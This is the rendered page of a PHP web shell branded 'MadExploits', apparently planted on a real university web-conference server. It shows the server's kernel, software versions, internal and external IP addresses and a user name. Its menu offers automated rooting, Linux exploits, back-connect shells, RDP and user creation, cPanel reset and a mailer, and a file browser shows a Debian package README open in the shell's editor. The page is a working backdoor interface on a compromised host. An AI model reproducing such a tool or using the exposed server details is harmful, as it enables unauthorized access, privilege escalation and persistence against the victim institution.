Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.149.247.95
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
node-bluebird /
[ HOME SHELL ]
Name
Size
Permission
Action
API.md
95
B
-rw-r--r--
CONTRIBUTING.md
389
B
-rw-r--r--
README.Debian
1.17
KB
-rw-r--r--
README.md
2.65
KB
-rw-r--r--
changelog.Debian.gz
448
B
-rw-r--r--
copyright
2.07
KB
-rw-r--r--
deprecated_apis.md
99
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.Debian
To-do ----- 1. Build the browser & minified javascript using the upstream build. This requires the following build dependencies not yet packaged for Debian: -browserify 2. Bluebird depends on a prebuilt version of itself to build all the files in "js/release" for the node package. Once bluebird has been in the archive for a while, it might be possible to use build-profiles to conditionally use the packaged version of bluebird to build. It would have to be conditional to allow downstream distributions to boostrap bluebird for the first time in their distribution. 3. The upstream test suite is currently run by moving the built version of bluebird into the node_module directory for the tests. We may be able to use build-profiles (see 2. above) to only conditionally do this. As jshint is unlikely to appear in Debian soon (due to licensing issues) the upstream testsuite is run using the "--no-jshint" option. There are a few tests that fail at the moment. We should try and fix these, or exclude them using a glob, to avoid the long list of individual tests, and to speed up the time it takes to run the tests. -- Ross Gammon <rossgammon@debian.org> Sun, 15 Oct 2017 13:16:00 +0100
Close